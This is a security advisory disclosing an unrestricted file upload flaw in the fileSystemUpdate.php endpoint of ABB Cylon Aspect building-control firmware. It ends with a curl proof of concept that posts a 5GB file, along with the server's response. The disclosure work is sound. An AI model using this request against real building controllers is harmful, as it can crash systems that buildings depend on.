ABB Cylon Aspect 3.08.00 fileSystemUpdate.php File Upload / Denial Of Service

ABB Cylon Aspect 3.08.00 (fileSystemUpdate.php) Insecure File UploadVendor: ABB Ltd.Product web page: https://www.global.abbAffected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio                  Firmware: <=3.08.00Summary: ASPECT is an award-winning scalable building energy managementand control solution designed to allow users seamless access to theirbuilding data through standard building protocols including smart devices.Desc: A vulnerability exists in the fileSystemUpdate.php endpoint of theABB BEMS controller due to improper handling of uploaded files. The endpointlacks restrictions on file size and type, allowing attackers to upload excessivelylarge or malicious files. This flaw could be exploited to cause Denial-of-Service(DoS) attacks, memory leaks, or buffer overflows, potentially leading to systemcrashes or further compromise.Tested on: GNU/Linux 3.15.10 (armv7l)           GNU/Linux 3.10.0 (x86_64)           GNU/Linux 2.6.32 (x86_64)           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz           PHP/7.3.11           PHP/5.6.30           PHP/5.4.16           PHP/4.4.8           PHP/5.3.3           AspectFT Automation Application Server           lighttpd/1.4.32           lighttpd/1.4.18           Apache/2.2.15 (CentOS)           OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)           OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)Vulnerability discovered by Gjoko 'LiquidWorm' Krstic                            @zeroscienceAdvisory ID: ZSL-2024-5866Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5866.php21.04.2024--$ cat project                 P   R   O   J   E   C   T                        .|                        | |                        |'|            ._____                ___    |  |            |.   |' .---"|        _    .-'   '-. |  |     .--'|  ||   | _|    |     .-'|  _.|  |    ||   '-__  |   |  |    ||      |     |' | |.    |    ||       | |   |  |    ||      | ____|  '-'     '    ""       '-'   '-.'    '`      |____░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░  ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░          ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░          ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░          ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░         ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░ $ curl --path-as-is -X POST "http://192.168.73.31/fileSystemUpdate.php" \> -H "Content-Type: multipart/form-data; boundary=----J0X" \> -H "Accept-Encoding: gzip, deflate, br" \> -H "Cookie: PHPSESSID=xxx" \> -d "------J0X\> Content-Disposition: form-data; name=\"userfile\"; filename=\"test.aam\"\> Content-Type: application/octet-stream\> \> 5GB_CONTENT\> ------J0X--\> "HTTP/1.1 302 FoundStrict-Transport-Security: max-age=31536000; includeSubdomainsExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheLocation: fileSystemUpdateExecuteDisplay.php?file=test.aamContent-type: text/html; charset=UTF-8Content-Length: 0Date: Thu, 28 Nov 2024 15:05:44 GMT